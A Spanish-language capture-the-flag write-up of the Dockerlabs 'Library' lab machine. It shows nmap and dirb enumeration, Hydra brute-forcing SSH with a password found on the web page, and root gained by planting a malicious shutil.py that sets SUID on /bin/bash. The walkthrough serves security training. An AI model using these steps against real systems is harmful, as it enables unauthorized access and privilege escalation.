Library es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Fácil
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-08 16:32 CEST Initiating ARP Ping Scan at 16:32 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 16:32, 0.08s elapsed (1 total hosts) Initiating SYN Stealth Scan at 16:32 Scanning 172.17.0.2 [65535 ports] Discovered open port 80/tcp on 172.17.0.2 Discovered open port 22/tcp on 172.17.0.2 Completed SYN Stealth Scan at 16:32, 1.22s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.0000070s latency). Scanned at 2024-05-08 16:32:27 CEST for 2s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sCV -p22,80 172.17.0.2 Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-08 16:38 CEST Nmap scan report for 172.17.0.2 Host is up (0.000086s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 f9:f6:fc:f7:f8:4d:d4:74:51:4c:88:23:54:a0:b3:af (ECDSA) |_ 256 fd:5b:01:b6:d2:18:ae:a3:6f:26:b2:3c:00:e5:12:c1 (ED25519) 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.58 (Ubuntu) MAC Address: 02:42:AC:11:00:02 (Unknown) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.73 seconds |
Lanzamos dirb para un escaneo rápido y ya nos da alguna pagina que nos puede interesar.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
┌──(kali㉿kali)-[~] └─$ dirb http://172.17.0.2 ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Wed May 8 16:32:34 2024 URL_BASE: http://172.17.0.2/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://172.17.0.2/ ---- + http://172.17.0.2/index.html (CODE:200|SIZE:10671) + http://172.17.0.2/index.php (CODE:200|SIZE:26) ==> DIRECTORY: http://172.17.0.2/javascript/ + http://172.17.0.2/server-status (CODE:403|SIZE:275) ---- Entering directory: http://172.17.0.2/javascript/ ---- ==> DIRECTORY: http://172.17.0.2/javascript/jquery/ ---- Entering directory: http://172.17.0.2/javascript/jquery/ ---- + http://172.17.0.2/javascript/jquery/jquery (CODE:200|SIZE:289782) |
Nos encontramos en el puerto 80 con esto , que puede ser una contraseña para algún usuario
Usamos hydra para ello
|
1 2 3 4 5 6 7 8 9 10 |
┌──(kali㉿kali)-[~] └─$ hydra -L /home/kali/feroxbuster/SecLists/Usernames/xato-net-10-million-usernames.txt -p JIFGHDS87GYDFIGD 172.17.0.2 ssh Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-08 16:34:09 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 8295455 login tries (l:8295455/p:1), ~518466 tries per task [DATA] attacking ssh://172.17.0.2:22/ [22][ssh] host: 172.17.0.2 login: carlos password: JIFGHDS87GYDFIGD ^[[A^[[A^[[A^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session. |
Y con carlos entramos en la maquina
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
└─$ ssh carlos@172.17.0.2 The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established. ED25519 key fingerprint is SHA256:Hvih5sjfx4Qwfp0rb0aWHkFvIxZbFo+cyOaoqbCHXSI. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts. carlos@172.17.0.2's password: Welcome to Ubuntu 24.04 LTS (GNU/Linux 5.18.0-kali5-amd64 x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. carlos@5494435f33a9:~$ |
Usamos sudo -l para ver si tenemos permisos sobre algún binario en nombre de otro usuario
|
1 2 3 4 5 6 7 |
carlos@5494435f33a9:~$ sudo -l Matching Defaults entries for carlos on 5494435f33a9: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User carlos may run the following commands on 5494435f33a9: (ALL) NOPASSWD: /usr/bin/python3 /opt/script.py |
Comprobamos el contenido del fichero python
|
1 2 3 4 5 6 7 8 9 10 11 |
carlos@5494435f33a9:~$ cat /tmp/script_backup.py import shutil def copiar_archivo(origen, destino): shutil.copy(origen, destino) print(f'Archivo copiado de {origen} a {destino}') if __name__ == '__main__': origen = '/opt/script.py' destino = '/tmp/script_backup.py' copiar_archivo(origen, destino) |
Así que creamos una librería para cambiar bash a SUID con shutil.py en /opt para que se ejecute en primera instancia antes que en otro path
|
1 2 3 |
carlos@5494435f33a9:/opt$ cat shutil.py import os os.system("chmod 4777 /bin/bash") |
Ejecutamos y..
|
1 2 3 4 |
carlos@5494435f33a9:/opt$ sudo /usr/bin/python3 /opt/script.py carlos@5494435f33a9:/opt$ ls -l /bin/bash -rwsrwxrwx 1 root root 1446024 Mar 31 08:41 /bin/bash |
Somos root!
|
1 2 3 |
carlos@5494435f33a9:/opt$ bash -p bash-5.2# id uid=0(root) gid=0(root) groups=0(root) |
Y hasta aquí la maquina de Library de la plataforma Dockerlabs!
